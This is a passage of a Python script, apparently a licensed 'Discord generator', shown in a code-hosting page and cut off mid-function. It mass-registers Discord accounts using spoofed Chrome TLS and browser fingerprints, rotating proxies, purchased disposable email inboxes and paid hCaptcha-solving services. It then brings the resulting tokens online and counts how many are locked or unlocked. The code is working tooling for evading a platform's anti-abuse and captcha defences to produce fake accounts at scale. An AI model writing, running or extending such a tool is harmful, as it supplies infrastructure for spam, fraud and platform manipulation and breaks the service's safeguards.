-
Notifications
You must be signed in to change notification settings - Fork 0
/
updated.py
1787 lines (1634 loc) · 71.9 KB
/
updated.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import tls_client, random, string, threading, requests, json, hashlib, os, base64, colorama, ctypes
import platform
import sys
import re
from datetime import datetime
from websocket import WebSocket
import json as jsond # json
import time # sleep before exit
import binascii # hex encoding
from uuid import uuid4 # gen random guid
import subprocess # needed for mac device
import hmac # signature checksum
try:
if os.name == 'nt':
import win32security # get sid (WIN only)
import requests # https requests
except ModuleNotFoundError:
print("Exception when importing modules")
print("Installing necessary modules....")
if os.path.isfile("requirements.txt"):
os.system("pip install -r requirements.txt")
else:
if os.name == 'nt':
os.system("pip install pywin32")
os.system("pip install requests")
print("Modules installed!")
time.sleep(1.5)
os._exit(1)
class api:
name = ownerid = secret = version = hash_to_check = ""
def __init__(self, name, ownerid, secret, version, hash_to_check):
if len(ownerid) != 10 and len(secret) != 64:
print("Go to Manage Applications on dashboard, copy python code, and replace code in main.py with that")
time.sleep(3)
os._exit(1)
self.name = name
self.ownerid = ownerid
self.secret = secret
self.version = version
self.hash_to_check = hash_to_check
self.init()
sessionid = enckey = ""
initialized = False
def init(self):
if self.sessionid != "":
print("You've already initialized!")
time.sleep(3)
os._exit(1)
sent_key = str(uuid4())[:16]
self.enckey = sent_key + "-" + self.secret
post_data = {
"type": "init",
"ver": self.version,
"hash": self.hash_to_check,
"enckey": sent_key,
"name": self.name,
"ownerid": self.ownerid
}
response = self.__do_request(post_data)
if response == "KeyAuth_Invalid":
print("The application doesn't exist")
time.sleep(3)
os._exit(1)
json = jsond.loads(response)
if json["message"] == "invalidver":
if json["download"] != "":
print("New Version Available")
download_link = json["download"]
os.system(f"start {download_link}")
time.sleep(3)
os._exit(1)
else:
print("Invalid Version, Contact owner to add download link to latest app version")
time.sleep(3)
os._exit(1)
if not json["success"]:
print(json["message"])
time.sleep(3)
os._exit(1)
self.sessionid = json["sessionid"]
self.initialized = True
if json["newSession"]:
time.sleep(0.1)
def register(self, user, password, license, hwid=None):
self.checkinit()
if hwid is None:
hwid = others.get_hwid()
post_data = {
"type": "register",
"username": user,
"pass": password,
"key": license,
"hwid": hwid,
"sessionid": self.sessionid,
"name": self.name,
"ownerid": self.ownerid
}
response = self.__do_request(post_data)
json = jsond.loads(response)
if json["success"]:
print("Successfully registered")
self.__load_user_data(json["info"])
else:
print(json["message"])
time.sleep(3)
os._exit(1)
def upgrade(self, user, license):
self.checkinit()
post_data = {
"type": "upgrade",
"username": user,
"key": license,
"sessionid": self.sessionid,
"name": self.name,
"ownerid": self.ownerid
}
response = self.__do_request(post_data)
json = jsond.loads(response)
if json["success"]:
print("Successfully upgraded user")
print("Please restart program and login")
time.sleep(3)
os._exit(1)
else:
print(json["message"])
time.sleep(3)
os._exit(1)
def login(self, user, password, hwid=None):
self.checkinit()
if hwid is None:
hwid = others.get_hwid()
post_data = {
"type": "login",
"username": user,
"pass": password,
"hwid": hwid,
"sessionid": self.sessionid,
"name": self.name,
"ownerid": self.ownerid
}
response = self.__do_request(post_data)
json = jsond.loads(response)
if json["success"]:
self.__load_user_data(json["info"])
print("Successfully logged in")
else:
print(json["message"])
time.sleep(3)
os._exit(1)
def license(self, key, hwid=None):
self.checkinit()
if hwid is None:
hwid = others.get_hwid()
post_data = {
"type": "license",
"key": key,
"hwid": hwid,
"sessionid": self.sessionid,
"name": self.name,
"ownerid": self.ownerid
}
response = self.__do_request(post_data)
json = jsond.loads(response)
if json["success"]:
self.__load_user_data(json["info"])
print("Successfully logged in with license")
else:
print(json["message"])
time.sleep(3)
os._exit(1)
def var(self, name):
self.checkinit()
post_data = {
"type": "var",
"varid": name,
"sessionid": self.sessionid,
"name": self.name,
"ownerid": self.ownerid
}
response = self.__do_request(post_data)
json = jsond.loads(response)
if json["success"]:
return json["message"]
else:
print(json["message"])
time.sleep(3)
os._exit(1)
def getvar(self, var_name):
self.checkinit()
post_data = {
"type": "getvar",
"var": var_name,
"sessionid": self.sessionid,
"name": self.name,
"ownerid": self.ownerid
}
response = self.__do_request(post_data)
json = jsond.loads(response)
if json["success"]:
return json["response"]
else:
print(f"NOTE: This is commonly misunderstood. This is for user variables, not the normal variables.\nUse keyauthapp.var(\"{var_name}\") for normal variables");
print(json["message"])
time.sleep(3)
os._exit(1)
def setvar(self, var_name, var_data):
self.checkinit()
post_data = {
"type": "setvar",
"var": var_name,
"data": var_data,
"sessionid": self.sessionid,
"name": self.name,
"ownerid": self.ownerid
}
response = self.__do_request(post_data)
json = jsond.loads(response)
if json["success"]:
return True
else:
print(json["message"])
time.sleep(3)
os._exit(1)
def ban(self):
self.checkinit()
post_data = {
"type": "ban",
"sessionid": self.sessionid,
"name": self.name,
"ownerid": self.ownerid
}
response = self.__do_request(post_data)
json = jsond.loads(response)
if json["success"]:
return True
else:
print(json["message"])
time.sleep(3)
os._exit(1)
def file(self, fileid):
self.checkinit()
post_data = {
"type": "file",
"fileid": fileid,
"sessionid": self.sessionid,
"name": self.name,
"ownerid": self.ownerid
}
response = self.__do_request(post_data)
json = jsond.loads(response)
if not json["success"]:
print(json["message"])
time.sleep(3)
os._exit(1)
return binascii.unhexlify(json["contents"])
def webhook(self, webid, param, body = "", conttype = ""):
self.checkinit()
post_data = {
"type": "webhook",
"webid": webid,
"params": param,
"body": body,
"conttype": conttype,
"sessionid": self.sessionid,
"name": self.name,
"ownerid": self.ownerid
}
response = self.__do_request(post_data)
json = jsond.loads(response)
if json["success"]:
return json["message"]
else:
print(json["message"])
time.sleep(3)
os._exit(1)
def check(self):
self.checkinit()
post_data = {
"type": "check",
"sessionid": self.sessionid,
"name": self.name,
"ownerid": self.ownerid
}
response = self.__do_request(post_data)
json = jsond.loads(response)
if json["success"]:
return True
else:
return False
def checkblacklist(self):
self.checkinit()
hwid = others.get_hwid()
post_data = {
"type": "checkblacklist",
"hwid": hwid,
"sessionid": self.sessionid,
"name": self.name,
"ownerid": self.ownerid
}
response = self.__do_request(post_data)
json = jsond.loads(response)
if json["success"]:
return True
else:
return False
def log(self, message):
self.checkinit()
post_data = {
"type": "log",
"pcuser": os.getenv('username'),
"message": message,
"sessionid": self.sessionid,
"name": self.name,
"ownerid": self.ownerid
}
self.__do_request(post_data)
def fetchOnline(self):
self.checkinit()
post_data = {
"type": "fetchOnline",
"sessionid": self.sessionid,
"name": self.name,
"ownerid": self.ownerid
}
response = self.__do_request(post_data)
json = jsond.loads(response)
if json["success"]:
if len(json["users"]) == 0:
return None
else:
return json["users"]
else:
return None
def fetchStats(self):
self.checkinit()
post_data = {
"type": "fetchStats",
"sessionid": self.sessionid,
"name": self.name,
"ownerid": self.ownerid
}
response = self.__do_request(post_data)
json = jsond.loads(response)
if json["success"]:
self.__load_app_data(json["appinfo"])
def chatGet(self, channel):
self.checkinit()
post_data = {
"type": "chatget",
"channel": channel,
"sessionid": self.sessionid,
"name": self.name,
"ownerid": self.ownerid
}
response = self.__do_request(post_data)
json = jsond.loads(response)
if json["success"]:
return json["messages"]
else:
return None
def chatSend(self, message, channel):
self.checkinit()
post_data = {
"type": "chatsend",
"message": message,
"channel": channel,
"sessionid": self.sessionid,
"name": self.name,
"ownerid": self.ownerid
}
response = self.__do_request(post_data)
json = jsond.loads(response)
if json["success"]:
return True
else:
return False
def checkinit(self):
if not self.initialized:
print("Initialize first, in order to use the functions")
time.sleep(3)
os._exit(1)
def changeUsername(self, username):
self.checkinit()
post_data = {
"type": "changeUsername",
"newUsername": username,
"sessionid": self.sessionid,
"name": self.name,
"ownerid": self.ownerid
}
response = self.__do_request(post_data)
json = jsond.loads(response)
if json["success"]:
print("Successfully changed username")
else:
print(json["message"])
time.sleep(3)
os._exit(1)
def logout(self):
self.checkinit()
post_data = {
"type": "logout",
"sessionid": self.sessionid,
"name": self.name,
"ownerid": self.ownerid
}
response = self.__do_request(post_data)
json = jsond.loads(response)
if json["success"]:
print("Successfully logged out")
time.sleep(3)
os._exit(1)
else:
print(json["message"])
time.sleep(3)
os._exit(1)
def __do_request(self, post_data):
try:
response = requests.post(
"https://keyauth.win/api/1.2/", data=post_data, timeout=10
)
key = self.secret if post_data["type"] == "init" else self.enckey
if post_data["type"] == "log": return response.text
client_computed = hmac.new(key.encode('utf-8'), response.text.encode('utf-8'), hashlib.sha256).hexdigest()
signature = response.headers["signature"]
if not hmac.compare_digest(client_computed, signature):
print("Signature checksum failed. Request was tampered with or session ended most likely.")
print("Response: " + response.text)
time.sleep(3)
os._exit(1)
return response.text
except requests.exceptions.Timeout:
print("Request timed out. Server is probably down/slow at the moment")
class application_data_class:
numUsers = numKeys = app_ver = customer_panel = onlineUsers = ""
class user_data_class:
username = ip = hwid = expires = createdate = lastlogin = subscription = subscriptions = ""
user_data = user_data_class()
app_data = application_data_class()
def __load_app_data(self, data):
self.app_data.numUsers = data["numUsers"]
self.app_data.numKeys = data["numKeys"]
self.app_data.app_ver = data["version"]
self.app_data.customer_panel = data["customerPanelLink"]
self.app_data.onlineUsers = data["numOnlineUsers"]
def __load_user_data(self, data):
self.user_data.username = data["username"]
self.user_data.ip = data["ip"]
self.user_data.hwid = data["hwid"] or "N/A"
self.user_data.expires = data["subscriptions"][0]["expiry"]
self.user_data.createdate = data["createdate"]
self.user_data.lastlogin = data["lastlogin"]
self.user_data.subscription = data["subscriptions"][0]["subscription"]
self.user_data.subscriptions = data["subscriptions"]
class others:
@staticmethod
def get_hwid():
if platform.system() == "Linux":
with open("/etc/machine-id") as f:
hwid = f.read()
return hwid
elif platform.system() == 'Windows':
winuser = os.getlogin()
sid = win32security.LookupAccountName(None, winuser)[0] # You can also use WMIC (better than SID, some users had problems with WMIC)
hwid = win32security.ConvertSidToStringSid(sid)
return hwid
elif platform.system() == 'Darwin':
output = subprocess.Popen("ioreg -l | grep IOPlatformSerialNumber", stdout=subprocess.PIPE, shell=True).communicate()[0]
serial = output.decode().split('=', 1)[1].replace(' ', '')
hwid = serial[1:-2]
return hwid
class Utils:
@staticmethod
def fetch_buildnum():
st = time.time()
try:
resp = requests.get(f"https://discord.com/assets/{Utils.JS_version()}")
if resp.status_code == 200:
buildNum = resp.text.split('"buildNumber",null!==(t="')[1].split('"')[0]
return int(buildNum), round(time.time() - st, 2)
else:
return 232074, None
except:
return 232074, None
@staticmethod
def build_xsup():
data = {
"os": "Windows",
"browser": "Chrome",
"device": "",
"system_locale": "en-US",
"browser_user_agent": typees,
"browser_version": "117.0.0.0",
"os_version": "10",
"referrer": "",
"referring_domain": "",
"referrer_current": "",
"referring_domain_current": "",
"release_channel": "stable",
"client_build_number": build_num,
"client_event_source": None
}
data = str(data).replace("None", "null")
return base64.b64encode(str(data).replace("'", '"').replace('": "', '":"').replace('", "', '","').replace('number": ', 'number":').replace(', "client', ',"client').replace('source": ', 'source":').encode()).decode()
@staticmethod
def JS_version():
return (requests.get("https://discord.com/app").text.split('"></script><script src="/assets/')[2].split('" integrity')[0])
class UI:
def clear(title: str=None):
if platform.system() == 'Windows':
os.system(f'cls {title if title != None else ""}') # clear console, change title
elif platform.system() == 'Linux':
os.system('clear') # clear console
if title != None:
sys.stdout.write(f"\x1b]0;{title}\x07") # change title
elif platform.system() == 'Darwin':
os.system("clear && printf '\e[3J'") # clear console
if title != None:
os.system(f'''echo - n - e "\033]0;{title}\007"''') # change title
def show():
print("")
print(f"{colorama.Fore.BLUE} ____ ____ __ ____ ______ ")
print(f"{colorama.Fore.BLUE} / __ \_____/ __ \/ /_/ __ \____ / ____/__ ____ ")
print(f"{colorama.Fore.BLUE} / /_/ / ___/ / / / __/ / / / __ \ / / __/ _ \/ __ \\")
print(f"{colorama.Fore.BLUE} / ____/ / / /_/ / /_/ /_/ / / / / / /_/ / __/ / / /")
print(f"{colorama.Fore.BLUE}/_/ /_/ \____/\__/\____/_/ /_/ \____/\___/_/ /_/.gg/hcap ")
print(f"{colorama.Fore.BLUE} ")
print("")
print(f"{colorama.Fore.WHITE}Menu\n")
print(f"[{colorama.Fore.BLUE}1{colorama.Fore.RESET}] - Start ")
print(f"[{colorama.Fore.BLUE}2{colorama.Fore.RESET}] - Exit")
choice = input(f"{colorama.Fore.BLUE}|> {colorama.Fore.WHITE}")
if choice == "1":
try:
with open("config.json") as f:
data = json.load(f)
license_k = data['license']
if license_k == "":
raise KeyError
else:
keyauthapp.license(license_k)
UI.clear()
input("Click Enter to Start!")
UI.clear(title="Starting...")
except Exception as e:
UI.clear(title="Invalid License Key")
input(f"[{colorama.Fore.RED}!{colorama.Fore.RESET}] - Please Provide a Valid license key in the config.json file!")
os._exit(0)
else:
os._exit(1)
class Log:
global thread_l
global lock
def amazing(msg: str, symbol="U"):
if thread_l:
lock.acquire()
print(f"[{colorama.Fore.LIGHTBLACK_EX}{datetime.now().strftime('%H:%M:%S')}{colorama.Fore.RESET}] ({colorama.Fore.BLUE}{symbol}{colorama.Fore.RESET}) - {msg}")
if thread_l:
lock.release()
return
def good(msg: str, symbol="+"):
if thread_l:
lock.acquire()
print(f"[{colorama.Fore.LIGHTBLACK_EX}{datetime.now().strftime('%H:%M:%S')}{colorama.Fore.RESET}] ({colorama.Fore.LIGHTBLUE_EX}{symbol}{colorama.Fore.RESET}) - {msg}")
if thread_l:
lock.release()
return
def info(msg: str, symbol="="):
if thread_l:
lock.acquire()
print(f"[{colorama.Fore.LIGHTBLACK_EX}{datetime.now().strftime('%H:%M:%S')}{colorama.Fore.RESET}] ({colorama.Fore.LIGHTCYAN_EX}{symbol}{colorama.Fore.RESET}) - {msg}")
if thread_l:
lock.release()
return
def bad(msg: str, symbol="X"):
if toggle_errors:
if thread_l:
lock.acquire()
print(f"[{colorama.Fore.LIGHTBLACK_EX}{datetime.now().strftime('%H:%M:%S')}{colorama.Fore.RESET}] ({colorama.Fore.RED}{symbol}{colorama.Fore.RESET}) - {msg}")
if thread_l:
lock.release()
return
def warn(msg: str, symbol="!"):
print(f"[{colorama.Fore.LIGHTBLACK_EX}{datetime.now().strftime('%H:%M:%S')}{colorama.Fore.RESET}] ({colorama.Fore.YELLOW}{symbol}{colorama.Fore.RESET}) - {msg}")
return
class Discord:
global unlocked
global locked
global st
def __init__(self) -> None:
self.lock = lock
with open("config.json") as conf:
self.data = json.load(conf)
self.unclaimed = self.data['unclaimed']
self.ws = WebSocket()
self.cap_key = self.data['capsolver_key']
self.hcop_key = self.data['hcooptcha_key']
self.use_hcop = self.data['use_hcooptcha']
self.capmonster_key = self.data['capmonster_key']
self.use_hotmailbox = self.data['use_hotmailbox'] if self.data['use_hotmailbox'] == True else False
self.build_num = build_num
self.capabilities = 16381
self.use_capmonster = self.data["use_capmonster"]
self.thread_lock = thread_l
self.rl = "The resource is being rate limited."
self.locked = "You need to verify your account in order to perform this action"
self.captcha_detected = "captcha-required"
self.session = tls_client.Session(client_identifier="chrome_117", random_tls_extension_order=True)
self.proxy = random.choice([prox.strip() for prox in open('proxies.txt')])
self.x_sup = x_sup
self.sec_ch_ua = '"Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"'
self.toggle_errors = toggle_errors
self.session.proxies = {
'https': "http://{}".format(self.proxy),
'http': "http://{}".format(self.proxy)
}
self.ve = False
_5sim_c = self.data['5sim_countries']
if self.data['bio']:
self.bios = [bio.strip() for bio in open("bios.txt")]
if self.data['random_username']:
self.username = "".join(random.choice(string.ascii_letters) for x in range(random.randint(4, 6)))
else:
self.username = random.choice([prox.strip() for prox in open('usernames.txt', encoding="utf-8")])
self.username = re.sub('[^a-zA-Z0-9 \n\.]', '', self.username)
try:
self.username = self.username.split(" ")[0]
except:
pass
if self.data['verify_email'] and self.data['kopeechka_key'] != "" and len(self.data['kopeechka_domains']) > 0 and self.unclaimed != True:
self.email_domain = random.choice(self.data['kopeechka_domains'])
self.email, self.id = self.buy_email()
self.ve = True
if self.data['random_username']:
self.username = self.email.split("@")[0]
else:
pass
else:
self.email = "".join(random.choice(string.ascii_letters) for x in range(random.randint(4, 7)))
self.email += str("".join(str(random.randint(1, 9) if random.randint(1, 2) == 1 else random.choice(string.ascii_letters)) for x in range(int(random.randint(6, 8)))))
self.email += random.choice(["@gmail.com", "@outlook.com"])
if self.data['password'] == "":
self.password = "".join(random.choice(string.digits) if random.randint(1, 2) == 1 else random.choice(string.ascii_letters) for x in range(random.randint(8, 24))) + "".join("" if random.randint(1, 2) == 1 else random.choice(["@", "$", "%", "*", "&", "^"]) for x in range(1, 6))
else:
self.password = self.data['password']
self.ua = typees
@staticmethod
def display_stats():
while True:
if locked == 0 and unlocked == 0:
ur = "0.00%"
elif unlocked > 0 and locked == 0:
ur = "100.0%"
elif locked > 0 and unlocked == 0:
ur = "0.00%"
else:
ur = f"{round(100 - round(locked/unlocked * 100, 2), 2)}%"
ctypes.windll.kernel32.SetConsoleTitleW(f"Pr0t0n Discord Generator | Unlocked: {unlocked} | Locked: {locked} | Unlock Rate: {ur} | Budget Left: ${round(budget, 4)} | Threads: {threading.active_count() - 2} | Time: {round(time.time() - st, 2)}s | discord.gg/hcap")
time.sleep(0.5)
def get_cookies(self):
url = "https://discord.com/register"
self.session.headers = {
'authority': 'discord.com',
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'accept-language': 'en-US,en;q=0.9',
'sec-ch-ua': self.sec_ch_ua,
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'document',
'sec-fetch-mode': 'navigate',
'sec-fetch-site': 'none',
'sec-fetch-user': '?1',
'upgrade-insecure-requests': '1',
'user-agent': self.ua,
}
try:
self.session.cookies = self.session.get(url).cookies
except Exception as e:
Log.bad('Unexpected error Fetching Cookies')
return Discord().begin()
return
def buy_email(self):
if self.data['kopeechka_key'] != "" and not self.use_hotmailbox:
url = f'https://api.kopeechka.store/mailbox-get-email?api=2.0&site=discord.com&subject=®ex=&mail_type={self.email_domain}&token={self.data["kopeechka_key"]}'
r = requests.get(url).json()
try:
return r['mail'], r['id']
except:
Log.bad("Error Buying Mail from kopeechka")
return Discord().begin()
elif self.use_hotmailbox and self.data['hotmailbox_key'] != "":
r = requests.get(f"https://api.hotmailbox.me/mail/buy?apikey={self.data['hotmailbox_key']}&mailcode=HOTMAIL&quantity=1").json()
try:
return r['Data']['Emails'][0]['Email'], r['Data']['Emails'][0]['Password']
except Exception as e:
Log.bad("Error Buying Mail from HotMailBox")
return Discord().begin()
def send_verification(self):
url = 'https://discord.com/api/v9/auth/verify/resend'
self.session.headers = {
'authority': 'discord.com',
'accept': '*/*',
'accept-language': 'en-US,en;q=0.9',
'authorization': self.token,
'origin': 'https://discord.com',
'referer': 'https://discord.com/channels/@me',
'sec-ch-ua': self.sec_ch_ua,
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-origin',
'user-agent': self.ua,
'x-debug-options': 'bugReporterEnabled',
'x-discord-locale': 'en-US',
'x-discord-timezone': 'America/New_York',
'x-super-properties': self.x_sup,
}
try:
r = self.session.post(url).status_code
except:
Log.bad(f"Error Sending Verification Code to Email")
return
if r == 204 or r == 200:
Log.good(f"Sent Verification Code --> ({self.email})", symbol="E")
else:
Log.bad(f"Error Sending Verification Code to Email")
def check_token(self):
global unlocked, locked
url = "https://discord.com/api/v9/users/@me/affinities/users"
try:
response = self.session.get(url)
except:
Log.bad("Error Sending Requests to check token")
return Discord().begin()
if int(response.status_code) in (400, 401, 403):
Log.bad(f"Locked Token ({colorama.Fore.RED}{self.token[:25]}..{colorama.Fore.RESET})")
locked += 1
return
else:
Log.amazing(f"Unlocked Token ({colorama.Fore.LIGHTBLACK_EX}{self.token[:25]}..{colorama.Fore.RESET})")
unlocked += 1
return True
def ConnectWS(self):
try:
self.ws.connect('wss://gateway.discord.gg/?encoding=json&v=9&compress=zlib-stream')
self.ws.send(json.dumps({
"op": 2,
"d": {
"token": self.token,
"capabilities": self.capabilities,
"properties": {
"os": "Windows",
"browser": "Chrome",
"device": "",
"system_locale": "en-US",
"browser_user_agent": self.ua,
"browser_version": "117.0.0.0",
"os_version": "10",
"referrer": "",
"referring_domain": "",
"referrer_current": "",
"referring_domain_current": "",
"release_channel": "stable",
"client_build_number": build_num,
"client_event_source": None
},
"presence": {
"status": random.choice(['online', 'idle', 'dnd']),
"since": 0,
"activities": [{
"name": "Custom Status",
"type": 4,
"state": _status,
"emoji": ""
} if _status != "" else ""],
"afk": False
},
"compress": False,
"client_state": {
"guild_versions": {},
"highest_last_message_id": "0",
"read_state_version": 0,
"user_guild_settings_version": -1,
"user_settings_version": -1,
"private_channels_version": "0",
"api_code_version": 0
}
}
}))
except:
Log.bad("Error Onling Token")
return
Log.good(f"Onlined Token --> ({colorama.Fore.LIGHTBLACK_EX}{self.token[:20]}..{colorama.Fore.RESET})", symbol="O")
return
def get_captcha_key(self, site_key: str="4c672d35-0701-42b2-88c3-78380b0db560", enterprise: bool=False, **argv):
global budget
# captcha_key = None
# while captcha_key is None:
# url = f"http://127.0.0.1:5000/solve?sitekey={site_key}&host=https://discord.com&proxy={self.proxy}"
# try:
# resp = requests.get(url, timeout=90)
# captcha_key = resp.json()['captcha_key']
# except:
# captcha_key == None
# if captcha_key is None:
# pass
# else:
# break
# Log.good(f"Solved captcha ({colorama.Fore.LIGHTBLACK_EX}{captcha_key[:40]}..{colorama.Fore.RESET})")
# return captcha_key
service = "https://api.capsolver.com"
proxy = self.proxy
used_hcoop = False
used_capmonster = False
serv = 'capmonster' if self.use_capmonster and self.capmonster_key != "" else 'capsolver'
if serv != "capmonster":
serv = 'hcoptcha' if self.use_hcop and serv == 'capsolver' else 'capsolver'
if site_key == "4c672d35-0701-42b2-88c3-78380b0db560":
Log.warn(f"Solving Hcaptcha ({serv})", symbol="/")
if self.use_capmonster != True and self.use_hcop != True and self.cap_key != "":
payload = {
"clientKey": self.cap_key,
"task":
{
"websiteURL":"https://discord.com/",
"websiteKey": site_key,
}
}
payload["task"]["type"] = "HCaptchaTurboTask"
payload["task"]["proxy"] = proxy
payload['task']['userAgent'] = self.ua
elif self.use_capmonster and self.capmonster_key != "":
used_capmonster = True
service = "https://api.capmonster.cloud"
payload = {
"clientKey": self.capmonster_key,
"task":
{
"type":"HCaptchaTaskProxyless",
"websiteURL":"https://discord.com/",
"websiteKey": site_key,
"userAgent": self.ua,
}
}
elif self.use_hcop and self.hcop_key != "":
used_hcoop = True
service = "https://api.hcoptcha.online/api"
headers = {
"Content-Type": "application/json"
}
payload = {
"api_key": self.hcop_key,
"task_type": "hcaptchaEnterprise",
"data": {
"rqdata": "",
"useragent": self.ua,
"sitekey": site_key,
"proxy": self.proxy,
"host": "discord.com"
}
}
try:
r = requests.post(f"{service}/createTask", headers=headers, json=payload)
except Exception as e: